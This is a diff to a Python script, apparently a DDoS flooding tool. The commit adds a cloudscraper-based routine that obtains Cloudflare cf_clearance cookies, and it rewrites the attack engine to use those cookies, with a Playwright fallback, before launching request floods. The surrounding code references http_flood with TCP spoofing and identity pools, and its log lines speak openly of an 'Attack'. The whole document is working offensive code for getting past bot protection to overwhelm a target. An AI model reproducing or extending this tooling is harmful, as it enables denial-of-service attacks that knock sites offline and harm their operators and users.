Update 1.py
Browse files
1.py
CHANGED
|
@@ -24,6 +24,13 @@ try:
|
|
| 24 |
except Exception:
|
| 25 |
pass
|
| 26 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 27 |
required_packages = ["aiohttp", "requests", "h2", "uvloop", "aioquic", "beautifulsoup4", "curl_cffi", "scapy", "httpx", "websockets", "redis", "fastapi", "uvicorn", "apscheduler", "pywinauto"]
|
| 28 |
if platform.system() == "Windows":
|
| 29 |
try:
|
|
@@ -2852,6 +2859,42 @@ def get_cf_clearance(url: str, headless: bool = False) -> str:
|
|
| 2852 |
return result.get("cookie_header", "")
|
| 2853 |
|
| 2854 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2855 |
def http_flood(url: str, total_requests: int, workers: int, method: str, payload: str, rate: float, duration: float, extra_headers: bool, use_playwright: bool, keepalive: bool, random_query: bool, app_mode: bool, logger, identity_pool: IdentityPool = None, human_timing: bool = False, use_cffi: bool = False, tcp_spoof: bool = False, ai_payload: bool = False, use_js_bypass: bool = False):
|
| 2856 |
mode_name = "http-app" if app_mode else "http"
|
| 2857 |
connection_mode = "keepalive" if keepalive else "single-connection"
|
|
@@ -3632,38 +3675,39 @@ class UltimateIntegratedEngine:
|
|
| 3632 |
return
|
| 3633 |
|
| 3634 |
if worker_id == 0 and self.use_js_bypass:
|
| 3635 |
-
self._log("[JS]
|
| 3636 |
-
|
| 3637 |
-
|
| 3638 |
-
|
| 3639 |
-
|
| 3640 |
-
if result.get("cookie_header"):
|
| 3641 |
-
self._cf_cookie = result["cookie_header"]
|
| 3642 |
-
self._log("[JS] ✅ CLEARANCE OBTAINED!", "SUCCESS")
|
| 3643 |
-
break
|
| 3644 |
-
else:
|
| 3645 |
-
retries += 1
|
| 3646 |
-
self._log(f"[JS] Retry {retries}/3...", "WARNING")
|
| 3647 |
-
await asyncio.sleep(5)
|
| 3648 |
-
except Exception as e:
|
| 3649 |
-
self._log(f"[JS] Error: {e}", "ERROR")
|
| 3650 |
-
retries += 1
|
| 3651 |
-
await asyncio.sleep(5)
|
| 3652 |
-
|
| 3653 |
-
if not hasattr(self, '_cf_cookie') or not self._cf_cookie:
|
| 3654 |
-
self._log("[JS] ❌ Failed to get clearance. Attack will likely get 403.", "ERROR")
|
| 3655 |
-
else:
|
| 3656 |
-
self._log("[JS] Testing clearance on a GET request...", "INFO")
|
| 3657 |
-
test_headers = {"Cookie": self._cf_cookie, "User-Agent": random.choice(USER_AGENTS)}
|
| 3658 |
try:
|
|
|
|
| 3659 |
async with aiohttp.ClientSession() as session:
|
| 3660 |
-
async with session.get(self.target, headers=test_headers, ssl=False) as resp:
|
| 3661 |
-
|
| 3662 |
-
self._log("[JS] ✅ Clearance WORKS! Attack starting.", "SUCCESS")
|
| 3663 |
-
else:
|
| 3664 |
-
self._log(f"[JS] Test returned {resp.status}. May still work.", "WARNING")
|
| 3665 |
except Exception:
|
| 3666 |
pass
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3667 |
|
| 3668 |
while self.running and not self.stop_requested:
|
| 3669 |
with self.lock:
|
|
|
|
| 24 |
except Exception:
|
| 25 |
pass
|
| 26 |
|
| 27 |
+
try:
|
| 28 |
+
import cloudscraper
|
| 29 |
+
CLOUDSCRAPER_AVAILABLE = True
|
| 30 |
+
except ImportError:
|
| 31 |
+
CLOUDSCRAPER_AVAILABLE = False
|
| 32 |
+
print("[!] cloudscraper not installed. Run: pip install cloudscraper")
|
| 33 |
+
|
| 34 |
required_packages = ["aiohttp", "requests", "h2", "uvloop", "aioquic", "beautifulsoup4", "curl_cffi", "scapy", "httpx", "websockets", "redis", "fastapi", "uvicorn", "apscheduler", "pywinauto"]
|
| 35 |
if platform.system() == "Windows":
|
| 36 |
try:
|
|
|
|
| 2859 |
return result.get("cookie_header", "")
|
| 2860 |
|
| 2861 |
|
| 2862 |
+
def get_cloudscraper_cookies(url: str) -> str:
|
| 2863 |
+
"""الحصول على cf_clearance باستخدام cloudscraper (أسرع وأقوى من Playwright)"""
|
| 2864 |
+
if not CLOUDSCRAPER_AVAILABLE:
|
| 2865 |
+
return ""
|
| 2866 |
+
try:
|
| 2867 |
+
scraper = cloudscraper.create_scraper(
|
| 2868 |
+
browser={
|
| 2869 |
+
'browser': 'chrome',
|
| 2870 |
+
'platform': 'windows',
|
| 2871 |
+
'desktop': True,
|
| 2872 |
+
'mobile': False
|
| 2873 |
+
},
|
| 2874 |
+
interpreter='python'
|
| 2875 |
+
)
|
| 2876 |
+
headers = {
|
| 2877 |
+
'User-Agent': random.choice(USER_AGENTS),
|
| 2878 |
+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
|
| 2879 |
+
'Accept-Language': 'en-US,en;q=0.9',
|
| 2880 |
+
'Accept-Encoding': 'gzip, deflate, br',
|
| 2881 |
+
'Connection': 'keep-alive',
|
| 2882 |
+
}
|
| 2883 |
+
resp = scraper.get(url, headers=headers, timeout=30)
|
| 2884 |
+
|
| 2885 |
+
if resp.status_code == 200:
|
| 2886 |
+
cookies = resp.cookies.get_dict()
|
| 2887 |
+
cf_clearance = cookies.get('cf_clearance', '')
|
| 2888 |
+
cf_bm = cookies.get('__cf_bm', '')
|
| 2889 |
+
if cf_clearance:
|
| 2890 |
+
print(f"[JS] cloudscraper got cf_clearance: {cf_clearance[:20]}...")
|
| 2891 |
+
return f"cf_clearance={cf_clearance}; __cf_bm={cf_bm}"
|
| 2892 |
+
return ""
|
| 2893 |
+
except Exception as e:
|
| 2894 |
+
print(f"[JS] cloudscraper error: {e}")
|
| 2895 |
+
return ""
|
| 2896 |
+
|
| 2897 |
+
|
| 2898 |
def http_flood(url: str, total_requests: int, workers: int, method: str, payload: str, rate: float, duration: float, extra_headers: bool, use_playwright: bool, keepalive: bool, random_query: bool, app_mode: bool, logger, identity_pool: IdentityPool = None, human_timing: bool = False, use_cffi: bool = False, tcp_spoof: bool = False, ai_payload: bool = False, use_js_bypass: bool = False):
|
| 2899 |
mode_name = "http-app" if app_mode else "http"
|
| 2900 |
connection_mode = "keepalive" if keepalive else "single-connection"
|
|
|
|
| 3675 |
return
|
| 3676 |
|
| 3677 |
if worker_id == 0 and self.use_js_bypass:
|
| 3678 |
+
self._log("[JS] Trying cloudscraper for clearance...", "INFO")
|
| 3679 |
+
cookie = get_cloudscraper_cookies(self.target)
|
| 3680 |
+
if cookie:
|
| 3681 |
+
self._cf_cookie = cookie
|
| 3682 |
+
self._log("[JS] ✅ CLEARANCE OBTAINED via cloudscraper!", "SUCCESS")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 3683 |
try:
|
| 3684 |
+
test_headers = {"Cookie": cookie, "User-Agent": random.choice(USER_AGENTS)}
|
| 3685 |
async with aiohttp.ClientSession() as session:
|
| 3686 |
+
async with session.get(self.target, headers=test_headers, ssl=False, timeout=10) as resp:
|
| 3687 |
+
self._log(f"[JS] Test request returned: {resp.status}", "INFO")
|
|
|
|
|
|
|
|
|
|
| 3688 |
except Exception:
|
| 3689 |
pass
|
| 3690 |
+
else:
|
| 3691 |
+
self._log("[JS] cloudscraper failed. Trying Playwright fallback...", "WARNING")
|
| 3692 |
+
retries = 0
|
| 3693 |
+
while retries < 3 and not hasattr(self, '_cf_cookie'):
|
| 3694 |
+
try:
|
| 3695 |
+
result = EnhancedPlaywrightBypass.solve_js_challenge(self.target, headless=False)
|
| 3696 |
+
if result.get("cookie_header"):
|
| 3697 |
+
self._cf_cookie = result["cookie_header"]
|
| 3698 |
+
self._log("[JS] ✅ CLEARANCE OBTAINED via Playwright!", "SUCCESS")
|
| 3699 |
+
break
|
| 3700 |
+
else:
|
| 3701 |
+
retries += 1
|
| 3702 |
+
self._log(f"[JS] Retry {retries}/3...", "WARNING")
|
| 3703 |
+
await asyncio.sleep(5)
|
| 3704 |
+
except Exception as e:
|
| 3705 |
+
self._log(f"[JS] Error: {e}", "ERROR")
|
| 3706 |
+
retries += 1
|
| 3707 |
+
await asyncio.sleep(5)
|
| 3708 |
+
|
| 3709 |
+
if not hasattr(self, '_cf_cookie') or not self._cf_cookie:
|
| 3710 |
+
self._log("[JS] ❌ Failed to get clearance. Attack will likely get 403.", "ERROR")
|
| 3711 |
|
| 3712 |
while self.running and not self.stop_requested:
|
| 3713 |
with self.lock:
|